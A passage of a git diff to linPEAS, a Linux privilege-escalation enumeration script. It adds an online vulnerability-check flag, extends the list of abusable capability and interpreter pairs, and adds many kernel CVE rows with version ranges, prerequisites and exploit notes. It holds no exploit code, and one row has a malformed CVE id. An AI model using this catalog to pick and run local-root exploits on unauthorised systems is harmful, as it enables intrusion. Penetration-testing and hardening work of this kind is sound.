'su' ${YELLOW} -n${BLUE} Do not check hostname & IP in known malicious lists and leaks ${YELLOW} -D${BLUE} Debug mode @@ -123,10 +125,10 @@ ${NC}This tool enum and search possible misconfigurations$DG (known vulns, user, ${YELLOW} -N${BLUE} Do not use colours ${YELLOW} -z ${BLUE} Set number of threads for background checks (default: auto-detected CPU count, fallback: 2; must be >= 1)$NC" -while getopts ":h?asd:p:i:P:qo:T:LMwNDterf:F:z:" opt; do +while getopts ":h?asd:p:i:P:qo:T:LMwNDterVf:F:z:" opt; do case "$opt" in h|\?) printf "%s\n\n" "$HELP$NC"; exit 0;; - a) FAST="";EXTRA_CHECKS="1";; + a) FAST="";EXTRA_CHECKS="1";ONLINE_VULN_CHECKS="1";; s) SUPERFAST=1;; d) DISCOVERY=$OPTARG;; p) PORTS=$OPTARG;; @@ -144,6 +146,7 @@ while getopts ":h?asd:p:i:P:qo:T:LMwNDterf:F:z:" opt; do t) AUTO_NETWORK_SCAN="1";; e) EXTRA_CHECKS="1";; r) REGEXES="1";; + V) ONLINE_VULN_CHECKS="1";; f) SEARCH_IN_FOLDER=$OPTARG; if ! [ "$(echo -n $SEARCH_IN_FOLDER | tail -c 1)" = "/" ]; then #Make sure firmware folder ends with "/" SEARCH_IN_FOLDER="${SEARCH_IN_FOLDER}/"; @@ -406,7 +409,7 @@ printf ${BLUE}" $SCRIPTNAME-$VERSION ${YELLOW}by carlospolop\n"$NC; echo "" printf ${YELLOW}"ADVISORY: ${BLUE}$ADVISORY\n$NC" echo "" -printf ${BLUE}"Linux Privesc Checklist: ${YELLOW}https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html\n"$NC +printf ${BLUE}"Linux Privesc Checklist: ${YELLOW}https://book.hacktricks.wiki/en/linux-hardening/main-system-information/linux-privilege-escalation-checklist.html\n"$NC printf ${BLUE}"Best Linux PE & Hardening course: ${YELLOW}https://hacktricks-training.com/courses/lhe/\n"$NC echo " LEGEND:" | sed "s,LEGEND,${C}[1;4m&${C}[0m," echo " RED/YELLOW: 95% a PE vector" | sed "s,RED/YELLOW,${SED_RED_YELLOW}," diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/variables/capsVB.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/variables/capsVB.sh index 30be52e1..6825dcdc 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/variables/capsVB.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/variables/capsVB.sh @@ -1,10 +1,10 @@ # Title: Variables - capsVB # ID: capsVB -# Author: Carlos Polop -# Last Update: 22-08-2023 -# Description: Very dangerous capabilities to search +# Author: Carlos Polop, HT Bot +# Last Update: 25-09-2026 +# Description: Very dangerous capability and executable combinations to search # License: GNU GPL -# Version: 1.0 +# Version: 1.1 # Functions Used: # Global Variables: # Initial Functions: @@ -13,10 +13,11 @@ # Small linpeas: 1 -capsVB="cap_sys_admin:mount|python \ +capsVB="cap_sys_admin:mount|python|perl|ruby|php|node|lua|bash \ cap_sys_ptrace:python \ cap_sys_module:kmod|python \ -cap_dac_override:python|vim \ +cap_dac_override:python|perl|ruby|php|node|lua|bash|vim|cp|dd \ +cap_dac_read_search:python|perl|ruby|php|node|lua|bash|vim|cp|dd|tar \ cap_chown:chown|python \ cap_fowner:chown|python \ cap_setfcap:python|perl|ruby|php|node|lua|bash \ diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/variables/kernel_cve_registry_data.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/variables/kernel_cve_registry_data.sh index 6c9b4f9e..f5695a5a 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/variables/kernel_cve_registry_data.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/variables/kernel_cve_registry_data.sh @@ -1,14 +1,15 @@ # Title: Variables - kernel_cve_registry_data # ID: kernel_cve_registry_data # Author: Carlos Polop -# Last Update: 08-06-2026 +# Contributor: Arjay Saguisa +# Last Update: 28-09-2026 # Description: Embedded kernel exploit matching datasets extracted from linux-exploit-suggester and linux-exploit-suggester-2 examples. Data is split across KERNEL_CVE_DATA_1..X with a maximum of 25 rows per env variable. This file also stores reference-only CVE tokens found in example repos when no explicit suggester matching rule exists. # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: -# Generated Global Variables: $KERNEL_CVE_DATA_1, $KERNEL_CVE_DATA_2, $KERNEL_CVE_DATA_3, $KERNEL_CVE_DATA_4, $KERNEL_CVE_DATA_5, $KERNEL_CVE_DATA_6, $KERNEL_CVE_DATA_7, $KERNEL_CVE_DATA_8, $KERNEL_CVE_DATA_9, $KERNEL_CVE_DATA_10, $KERNEL_CVE_DATA_11, $KERNEL_CVE_DATA_12, $KERNEL_CVE_DATA_13, $KERNEL_CVE_DATA_14, $KERNEL_CVE_DATA_15, $KERNEL_CVE_DATA_16, $KERNEL_CVE_DATA_17, $KERNEL_CVE_DATA_18, $KERNEL_CVE_DATA_19, $KERNEL_CVE_DATA_20, $KERNEL_CVE_DATA_21 +# Generated Global Variables: $KERNEL_CVE_DATA_1, $KERNEL_CVE_DATA_2, $KERNEL_CVE_DATA_3, $KERNEL_CVE_DATA_4, $KERNEL_CVE_DATA_5, $KERNEL_CVE_DATA_6, $KERNEL_CVE_DATA_7, $KERNEL_CVE_DATA_8, $KERNEL_CVE_DATA_9, $KERNEL_CVE_DATA_10, $KERNEL_CVE_DATA_11, $KERNEL_CVE_DATA_12, $KERNEL_CVE_DATA_13, $KERNEL_CVE_DATA_14, $KERNEL_CVE_DATA_15, $KERNEL_CVE_DATA_16, $KERNEL_CVE_DATA_17, $KERNEL_CVE_DATA_18, $KERNEL_CVE_DATA_19, $KERNEL_CVE_DATA_20, $KERNEL_CVE_DATA_21, $KERNEL_CVE_DATA_22, $KERNEL_CVE_DATA_23, $KERNEL_CVE_DATA_24, $KERNEL_CVE_DATA_25, $KERNEL_CVE_DATA_26 # Fat linpeas: 0 # Small linpeas: 1 @@ -114,7 +115,6 @@ CVE-2022-32250 nft_object UAF (NFT_MSG_NEWSET) pkg=linux-kernel,ver<5.18.1,CONFI CVE-2023-0386 OverlayFS suid smuggle pkg=linux-kernel,ver>=5.11,ver<=6.2,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 ubuntu=22.04.1{kernel:5.15.0-57-generic} 1 CONFIG_USER_NS needs to be enabled && kernel.unprivileged_userns_clone=1 required CVE-2024-1086 double-free in nf_tables pkg=linux-kernel,x86_64,ver>=5.14,ver<=6.6,CONFIG_NF_TABLES=y,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 debian=12,ubuntu=22.04 1 CONFIG_USER_NS and CONFIG_NF_TABLES need to be enabled && kernel.unprivileged_userns_clone=1 required CVE-2021-3560 Polkit race authentication bypass cmd:sh -c "apt list --installed 2>/dev/null | grep -E 'polkit.*0\\.105-26' | grep -qEv 'ubuntu1\\.[1-9]' || yum list installed 2>/dev/null | grep -qE 'polkit.*\\(0\\.117-2\\|0\\.115-6\\|0\\.11[3-9]\\)' || rpm -qa 2>/dev/null | grep -qE 'polkit.*\\(0\\.117-2\\|0\\.115-6\\|0\\.11[3-9]\\)'" 1 Migrated from former standalone 1_system_information check -CVE-2025-38236 AF_UNIX MSG_OOB UAF pkg=linux-kernel,ver>=6.9.0 1 Migrated from former standalone 1_system_information check CVE-2025-38352 POSIX CPU timers race pkg=linux-kernel,ver>=6.12,ver<6.12.34,CONFIG_POSIX_CPU_TIMERS_TASK_WORK!=y 1 Migrated from former standalone 1_system_information check af_packet 2016-8655 4.4.0 http://www.exploit-db.com/exploits/40871 american-sign-language 2010-4347 2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36 http://www.securityfocus.com/bid/45408 @@ -529,7 +529,7 @@ CVE-2024-38399 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token CVE-2024-38402 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-41003 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-41009 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters -CVE-2024-41010 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters +CVE-2024-41010 tcx_entry mini-qdisc UAF pkg=linux-kernel,ver>=6.6,ver<6.6.41,x86_64,CONFIG_NET_SCHED=y,CONFIG_NET_SCH_INGRESS=[my],CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 1 Fixed in stable 6.6.41; public exploit targets 6.6.35 and requires unprivileged network namespaces CVE-2024-43047 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-43882 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2024-44068 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters @@ -586,6 +586,10 @@ CVE-2025-40040 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token CVE-2025-6349 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-8045 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters CVE-2025-8109 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters +CVE-2025-38236 AF_UNIX MSG_OOB UAF pkg=linux-kernel,ver>=5.15,ver<6.1.143 1 Fixed in stable 6.1.143 +CVE-2025-38236 AF_UNIX MSG_OOB UAF pkg=linux-kernel,ver>=6.2,ver<6.6.96 1 Fixed in stable 6.6.96 +CVE-2025-38236 AF_UNIX MSG_OOB UAF pkg=linux-kernel,ver>=6.7,ver<6.12.36 1 Fixed in stable 6.12.36 +CVE-2025-38236 AF_UNIX MSG_OOB UAF pkg=linux-kernel,ver>=6.13,ver<6.15.5 1 Fixed in stable 6.15.5 CVE-2106-2504 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; no matching rule defined in source suggesters EOF_DATA_20 )" @@ -599,6 +603,7 @@ CVE-2021-4154 cgroup fsconfig type confusion pkg=linux-kernel,ver=5.13.3 1 From CVE-2022-2588 route4_filter double-free pkg=linux-kernel,ver=5.19.1,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 1 From kernel-exploit-factory detail section and exploit prerequisites CVE-2022-2639 openvswitch reserve_sfa_size integer overflow pkg=linux-kernel,ver=5.17.4,cmd:grep -qi openvswitch /proc/modules 1 From kernel-exploit-factory detail section; openvswitch module required CVE-2025-21702 net/sched qdisc UAF pkg=linux-kernel,ver=6.6.75,CONFIG_NET_SCHED=y 1 From kernel-exploit-factory detail section (test version Linux-6.6.75) +CVE-2025-38236 AF_UNIX MSG_OOB UAF pkg=linux-kernel,ver>=6.16,ver<6.17,cmd:uname -r 2>/dev/null | grep -Eq '^6\.16\.0-rc[123]([-.]|$)' 1 Fixed in mainline 6.16-rc4 CVE-2026-31431 Copy Fail pkg=linux-kernel,ver>=4.14,ver<5.10.254,CONFIG_CRYPTO_USER_API_AEAD=[my],CONFIG_CRYPTO_AUTHENC=[my] 1 Upstream issue introduced in 4.14; fixed by stable backports and in mainline 7.0 CVE-2026-31431 Copy Fail pkg=linux-kernel,ver>=5.11,ver<5.15.204,CONFIG_CRYPTO_USER_API_AEAD=[my],CONFIG_CRYPTO_AUTHENC=[my] 1 Upstream issue introduced in 4.14; fixed by stable backports and in mainline 7.0 CVE-2026-31431 Copy Fail pkg=linux-kernel,ver>=5.16,ver<6.1.170,CONFIG_CRYPTO_USER_API_AEAD=[my],CONFIG_CRYPTO_AUTHENC=[my] 1 Upstream issue introduced in 4.14; fixed by stable backports and in mainline 7.0 @@ -606,12 +611,139 @@ CVE-2026-31431 Copy Fail pkg=linux-kernel,ver>=6.2,ver<6.6.137,CONFIG_CRYPTO_USE CVE-2026-31431 Copy Fail pkg=linux-kernel,ver>=6.7,ver<6.12.85,CONFIG_CRYPTO_USER_API_AEAD=[my],CONFIG_CRYPTO_AUTHENC=[my] 1 Upstream issue introduced in 4.14; fixed by stable backports and in mainline 7.0 CVE-2026-31431 Copy Fail pkg=linux-kernel,ver>=6.13,ver<6.18.22,CONFIG_CRYPTO_USER_API_AEAD=[my],CONFIG_CRYPTO_AUTHENC=[my] 1 Upstream issue introduced in 4.14; fixed by stable backports and in mainline 7.0 CVE-2026-31431 Copy Fail pkg=linux-kernel,ver>=6.19,ver<6.19.12,CONFIG_CRYPTO_USER_API_AEAD=[my],CONFIG_CRYPTO_AUTHENC=[my] 1 Upstream issue fixed in 6.19.12 and mainline 7.0 +CVE-2026-43503 DirtyClone pkg=linux-kernel,ver>=3.9,ver<5.10.257 1 Fixed in stable 5.10.257; exploit path is in the networking stack and may be mitigated by removing the relevant ESP modules CVE-2017-16994 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; appears as related bypass mention CVE-2020-27171 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; appears as related comment in exploit source CVE-2024-0193 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from example repos; appears as upstream source reference CVE-2026-43284 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from official Ubuntu/Red Hat Dirty Frag advisories; no stable matcher added +CVE-2026-43494 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from official Ubuntu PinTheft advisory; no stable matcher added CVE-2026-43500 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from official Ubuntu/Red Hat Dirty Frag advisories; no stable matcher added CVE-2026-46243 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from official Red Hat CIFSwitch advisory; no stable matcher added CVE-2026-46300 catalog_reference_only 9999.9999.9999 0 Reference-only CVE token from official Ubuntu/Red Hat Fragnesia advisories; no stable matcher added EOF_DATA_21 )" + +KERNEL_CVE_DATA_22="$(cat <<'EOF_DATA_22' +CVE-2026-43503 DirtyClone pkg=linux-kernel,ver>=5.11,ver<5.15.208 1 Fixed in stable 5.15.208; exploit path is in the networking stack and may be mitigated by removing the relevant ESP modules +CVE-2026-43503 DirtyClone pkg=linux-kernel,ver>=5.16,ver<6.1.174 1 Fixed in stable 6.1.174; exploit path is in the networking stack and may be mitigated by removing the relevant ESP modules +CVE-2026-43503 DirtyClone pkg=linux-kernel,ver>=6.2,ver<6.6.141 1 Fixed in stable 6.6.141; exploit path is in the networking stack and may be mitigated by removing the relevant ESP modules +CVE-2026-43503 DirtyClone pkg=linux-kernel,ver>=6.7,ver<6.12.91 1 Fixed in stable 6.12.91; exploit path is in the networking stack and may be mitigated by removing the relevant ESP modules +CVE-2026-43503 DirtyClone pkg=linux-kernel,ver>=6.13,ver<6.18.33 1 Fixed in stable 6.18.33; exploit path is in the networking stack and may be mitigated by removing the relevant ESP modules +CVE-2026-43503 DirtyClone pkg=linux-kernel,ver>=6.19,ver<7.0.10 1 Fixed in stable 7.0.10 and mainline 7.1 +CVE-2026-46331 pedit COW pkg=linux-kernel,ver>=4.19.244,ver<4.20 1 Fixed before 4.20 in later backports; exploit path uses the traffic-control act_pedit subsystem +CVE-2026-46331 pedit COW pkg=linux-kernel,ver>=5.4.195,ver<5.5 1 Fixed before 5.5 in later backports; exploit path uses the traffic-control act_pedit subsystem +CVE-2026-46331 pedit COW pkg=linux-kernel,ver>=5.10.117,ver<5.11 1 Fixed before 5.11 in later backports; exploit path uses the traffic-control act_pedit subsystem +CVE-2026-46331 pedit COW pkg=linux-kernel,ver>=5.15.41,ver<5.16 1 Fixed before 5.16 in later backports; exploit path uses the traffic-control act_pedit subsystem +CVE-2026-46331 pedit COW pkg=linux-kernel,ver>=5.17.9,ver<5.18 1 Fixed before 5.18 in later backports; exploit path uses the traffic-control act_pedit subsystem +CVE-2026-46331 pedit COW pkg=linux-kernel,ver>=5.18,ver<6.12.94 1 Fixed in stable 6.12.94; exploit path uses the traffic-control act_pedit subsystem +CVE-2026-46331 pedit COW pkg=linux-kernel,ver>=6.13,ver<6.18.36 1 Fixed in stable 6.18.36; exploit path uses the traffic-control act_pedit subsystem +CVE-2026-46331 pedit COW pkg=linux-kernel,ver>=6.19,ver<7.0.13 1 Fixed in stable 7.0.13 and mainline 7.1 +CVE-2026-46333 ptrace exit-race pkg=linux-kernel,ver>=3.16.52,ver<3.17,cmd:[ "$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null || echo 0)" -lt 2 ] 1 Upstream issue backported into 3.16 at 3.16.52; mitigated by kernel.yama.ptrace_scope >= 2 +CVE-2026-46333 ptrace exit-race pkg=linux-kernel,ver>=4.4.40,ver<4.5,cmd:[ "$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null || echo 0)" -lt 2 ] 1 Upstream issue backported into 4.4 at 4.4.40; mitigated by kernel.yama.ptrace_scope >= 2 +CVE-2026-46333 ptrace exit-race pkg=linux-kernel,ver>=4.8.16,ver<4.9,cmd:[ "$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null || echo 0)" -lt 2 ] 1 Upstream issue backported into 4.8 at 4.8.16; mitigated by kernel.yama.ptrace_scope >= 2 +CVE-2026-46333 ptrace exit-race pkg=linux-kernel,ver>=4.9.1,ver<4.10,cmd:[ "$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null || echo 0)" -lt 2 ] 1 Upstream issue backported into 4.9 at 4.9.1; mitigated by kernel.yama.ptrace_scope >= 2 +CVE-2026-46333 ptrace exit-race pkg=linux-kernel,ver>=4.10,ver<5.10.256,cmd:[ "$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null || echo 0)" -lt 2 ] 1 Upstream issue introduced in 4.10; fixed in 5.10.256; mitigated by kernel.yama.ptrace_scope >= 2 +CVE-2026-46333 ptrace exit-race pkg=linux-kernel,ver>=5.11,ver<5.15.207,cmd:[ "$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null || echo 0)" -lt 2 ] 1 Upstream issue introduced in 4.10; fixed in 5.15.207; mitigated by kernel.yama.ptrace_scope >= 2 +CVE-2026-46333 ptrace exit-race pkg=linux-kernel,ver>=5.16,ver<6.1.173,cmd:[ "$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null || echo 0)" -lt 2 ] 1 Upstream issue introduced in 4.10; fixed in 6.1.173; mitigated by kernel.yama.ptrace_scope >= 2 +CVE-2026-46333 ptrace exit-race pkg=linux-kernel,ver>=6.2,ver<6.6.139,cmd:[ "$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null || echo 0)" -lt 2 ] 1 Upstream issue introduced in 4.10; fixed in 6.6.139; mitigated by kernel.yama.ptrace_scope >= 2 +CVE-2026-46333 ptrace exit-race pkg=linux-kernel,ver>=6.7,ver<6.12.89,cmd:[ "$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null || echo 0)" -lt 2 ] 1 Upstream issue introduced in 4.10; fixed in 6.12.89; mitigated by kernel.yama.ptrace_scope >= 2 +CVE-2026-46333 ptrace exit-race pkg=linux-kernel,ver>=6.13,ver<6.18.31,cmd:[ "$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null || echo 0)" -lt 2 ] 1 Upstream issue introduced in 4.10; fixed in 6.18.31; mitigated by kernel.yama.ptrace_scope >= 2 +CVE-2026-46333 ptrace exit-race pkg=linux-kernel,ver>=6.19,ver<7.0.8,cmd:[ "$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null || echo 0)" -lt 2 ] 1 Upstream issue introduced in 4.10; fixed in 7.0.8; mitigated by kernel.yama.ptrace_scope >= 2 +EOF_DATA_22 +)" + +KERNEL_CVE_DATA_23="$(cat <<'EOF_DATA_23' +CVE-2026-43499 GhostLock rtmutex UAF pkg=linux-kernel,ver>=2.6.39,ver<5.10.261,CONFIG_FUTEX_PI=y 1 Fixed in stable 5.10.261; priority-inheritance futexes must be enabled +CVE-2026-43499 GhostLock rtmutex UAF pkg=linux-kernel,ver>=5.11,ver<5.15.212,CONFIG_FUTEX_PI=y 1 Fixed in stable 5.15.212; priority-inheritance futexes must be enabled +CVE-2026-43499 GhostLock rtmutex UAF pkg=linux-kernel,ver>=5.16,ver<6.1.175,CONFIG_FUTEX_PI=y 1 Fixed in stable 6.1.175; priority-inheritance futexes must be enabled +CVE-2026-43499 GhostLock rtmutex UAF pkg=linux-kernel,ver>=6.2,ver<6.6.140,CONFIG_FUTEX_PI=y 1 Fixed in stable 6.6.140; priority-inheritance futexes must be enabled +CVE-2026-43499 GhostLock rtmutex UAF pkg=linux-kernel,ver>=6.7,ver<6.12.86,CONFIG_FUTEX_PI=y 1 Fixed in stable 6.12.86; priority-inheritance futexes must be enabled +CVE-2026-43499 GhostLock rtmutex UAF pkg=linux-kernel,ver>=6.13,ver<6.18.27,CONFIG_FUTEX_PI=y 1 Fixed in stable 6.18.27; priority-inheritance futexes must be enabled +CVE-2026-43499 GhostLock rtmutex UAF pkg=linux-kernel,ver>=6.19,ver<7.0.4,CONFIG_FUTEX_PI=y 1 Fixed in stable 7.0.4 and mainline 7.1; priority-inheritance futexes must be enabled +CVE-2026-53362 IPv6 fraggap out-of-bounds write pkg=linux-kernel,ver>=6.0,ver<6.1.177,CONFIG_IPV6=[my] 1 Fixed in stable 6.1.177; IPv6 must be enabled +CVE-2026-53362 IPv6 fraggap out-of-bounds write pkg=linux-kernel,ver>=6.2,ver<6.6.144,CONFIG_IPV6=[my] 1 Fixed in stable 6.6.144; IPv6 must be enabled +CVE-2026-53362 IPv6 fraggap out-of-bounds write pkg=linux-kernel,ver>=6.7,ver<6.12.95,CONFIG_IPV6=[my] 1 Fixed in stable 6.12.95; IPv6 must be enabled +CVE-2026-53362 IPv6 fraggap out-of-bounds write pkg=linux-kernel,ver>=6.13,ver<6.18.38,CONFIG_IPV6=[my] 1 Fixed in stable 6.18.38; IPv6 must be enabled +CVE-2026-53362 IPv6 fraggap out-of-bounds write pkg=linux-kernel,ver>=6.19,ver<7.1.3,CONFIG_IPV6=[my] 1 Fixed in stable 7.1.3 and mainline 7.2-rc1; IPv6 must be enabled +CVE-2026-64600 RefluXFS stale mapping race pkg=linux-kernel,ver>=4.11,ver<5.15.212,CONFIG_XFS_FS=[my],cmd:grep -qw xfs /proc/mounts 1 Fixed in stable 5.15.212; requires an XFS filesystem with reflink enabled +CVE-2026-64600 RefluXFS stale mapping race pkg=linux-kernel,ver>=5.16,ver<6.1.178,CONFIG_XFS_FS=[my],cmd:grep -qw xfs /proc/mounts 1 Fixed in stable 6.1.178; requires an XFS filesystem with reflink enabled +CVE-2026-64600 RefluXFS stale mapping race pkg=linux-kernel,ver>=6.2,ver<6.6.145,CONFIG_XFS_FS=[my],cmd:grep -qw xfs /proc/mounts 1 Fixed in stable 6.6.145; requires an XFS filesystem with reflink enabled +CVE-2026-64600 RefluXFS stale mapping race pkg=linux-kernel,ver>=6.7,ver<6.12.96,CONFIG_XFS_FS=[my],cmd:grep -qw xfs /proc/mounts 1 Fixed in stable 6.12.96; requires an XFS filesystem with reflink enabled +CVE-2026-64600 RefluXFS stale mapping race pkg=linux-kernel,ver>=6.13,ver<6.18.39,CONFIG_XFS_FS=[my],cmd:grep -qw xfs /proc/mounts 1 Fixed in stable 6.18.39; requires an XFS filesystem with reflink enabled +CVE-2026-64600 RefluXFS stale mapping race pkg=linux-kernel,ver>=6.19,ver<7.1.4,CONFIG_XFS_FS=[my],cmd:grep -qw xfs /proc/mounts 1 Fixed in stable 7.1.4; requires an XFS filesystem with reflink enabled +CVE-2026-64600 RefluXFS stale mapping race pkg=linux-kernel,ver>=7.2,ver<7.3,CONFIG_XFS_FS=[my],cmd:uname -r 2>/dev/null | grep -Eq '^7\.2\.0-rc[123]([-.]|$)',cmd:grep -qw xfs /proc/mounts 1 Fixed in mainline 7.2-rc4; requires an XFS filesystem with reflink enabled +EOF_DATA_23 +)" + +KERNEL_CVE_DATA_24="$(cat <<'EOF_DATA_24' +CVE-2026-64531 OVSwrap Open vSwitch nested-action overflow pkg=linux-kernel,ver>=5.15.180,ver<5.15.212,x86_64,CONFIG_OPENVSWITCH=[my],CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 1 Fixed in stable 5.15.212; public exploit requires Open vSwitch and unprivileged network namespaces +CVE-2026-64531 OVSwrap Open vSwitch nested-action overflow pkg=linux-kernel,ver>=6.1.132,ver<6.1.178,x86_64,CONFIG_OPENVSWITCH=[my],CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 1 Fixed in stable 6.1.178; public exploit requires Open vSwitch and unprivileged network namespaces +CVE-2026-64531 OVSwrap Open vSwitch nested-action overflow pkg=linux-kernel,ver>=6.6.84,ver<6.6.145,x86_64,CONFIG_OPENVSWITCH=[my],CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 1 Fixed in stable 6.6.145; public exploit requires Open vSwitch and unprivileged network namespaces +CVE-2026-64531 OVSwrap Open vSwitch nested-action overflow pkg=linux-kernel,ver>=6.12.20,ver<6.12.97,x86_64,CONFIG_OPENVSWITCH=[my],CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 1 Fixed in stable 6.12.97; public exploit requires Open vSwitch and unprivileged network namespaces +CVE-2026-64531 OVSwrap Open vSwitch nested-action overflow pkg=linux-kernel,ver>=6.13.8,ver<6.14,x86_64,CONFIG_OPENVSWITCH=[my],CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 1 Affected stable 6.13 range; public exploit requires Open vSwitch and unprivileged network namespaces +CVE-2026-64531 OVSwrap Open vSwitch nested-action overflow pkg=linux-kernel,ver>=6.14,ver<6.18.40,x86_64,CONFIG_OPENVSWITCH=[my],CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 1 Fixed in stable 6.18.40; public exploit requires Open vSwitch and unprivileged network namespaces +CVE-2026-64531 OVSwrap Open vSwitch nested-action overflow pkg=linux-kernel,ver>=6.19,ver<7.1.5,x86_64,CONFIG_OPENVSWITCH=[my],CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 1 Fixed in stable 7.1.5 and mainline 7.2; public exploit requires Open vSwitch and unprivileged network namespaces +CVE-2026-64564 SCTPhantom SCTP ASCONF transport UAF pkg=linux-kernel,ver>=2.6.25,ver<5.10.265,CONFIG_IP_SCTP=[my] 1 Fixed in stable 5.10.265; SCTP support is required and public exploit targets may require adaptation +CVE-2026-64564 SCTPhantom SCTP ASCONF transport UAF pkg=linux-kernel,ver>=5.11,ver<5.15.216,CONFIG_IP_SCTP=[my] 1 Fixed in stable 5.15.216; SCTP support is required and public exploit targets may require adaptation +CVE-2026-64564 SCTPhantom SCTP ASCONF transport UAF pkg=linux-kernel,ver>=5.16,ver<6.1.183,CONFIG_IP_SCTP=[my] 1 Fixed in stable 6.1.183; SCTP support is required and public exploit targets may require adaptation +CVE-2026-64564 SCTPhantom SCTP ASCONF transport UAF pkg=linux-kernel,ver>=6.2,ver<6.6.148,CONFIG_IP_SCTP=[my] 1 Fixed in stable 6.6.148; SCTP support is required and public exploit targets may require adaptation +CVE-2026-64564 SCTPhantom SCTP ASCONF transport UAF pkg=linux-kernel,ver>=6.7,ver<6.12.101,CONFIG_IP_SCTP=[my] 1 Fixed in stable 6.12.101; SCTP support is required and public exploit targets may require adaptation +CVE-2026-64564 SCTPhantom SCTP ASCONF transport UAF pkg=linux-kernel,ver>=6.13,ver<6.18.42,CONFIG_IP_SCTP=[my] 1 Fixed in stable 6.18.42; SCTP support is required and public exploit targets may require adaptation +CVE-2026-64564 SCTPhantom SCTP ASCONF transport UAF pkg=linux-kernel,ver>=6.19,ver<7.1.6,CONFIG_IP_SCTP=[my] 1 Fixed in stable 7.1.6 and mainline 7.2; SCTP support is required and public exploit targets may require adaptation +CVE-2026-53365 VsockDrop virtio-vsock zerocopy refcount flaw pkg=linux-kernel,ver>=6.7,ver<6.12.97,CONFIG_VSOCKETS=[my],CONFIG_VIRTIO_VSOCKETS=[my],CONFIG_IO_URING=y 1 Fixed in stable 6.12.97; public exploit uses io_uring and AF_VSOCK +CVE-2026-53365 VsockDrop virtio-vsock zerocopy refcount flaw pkg=linux-kernel,ver>=6.13,ver<6.18.34,CONFIG_VSOCKETS=[my],CONFIG_VIRTIO_VSOCKETS=[my],CONFIG_IO_URING=y 1 Fixed in stable 6.18.34; public exploit uses io_uring and AF_VSOCK +CVE-2026-53365 VsockDrop virtio-vsock zerocopy refcount flaw pkg=linux-kernel,ver>=6.19,ver<7.0.11,CONFIG_VSOCKETS=[my],CONFIG_VIRTIO_VSOCKETS=[my],CONFIG_IO_URING=y 1 Fixed in stable 7.0.11 and mainline 7.1; public exploit uses io_uring and AF_VSOCK +CVE-2026-53361 BadGarbage AF_UNIX garbage-collector race pkg=linux-kernel,ver>=6.1.141,ver<6.1.183 1 Fixed in stable 6.1.183; public exploit can provide local root and container escape +CVE-2026-53361 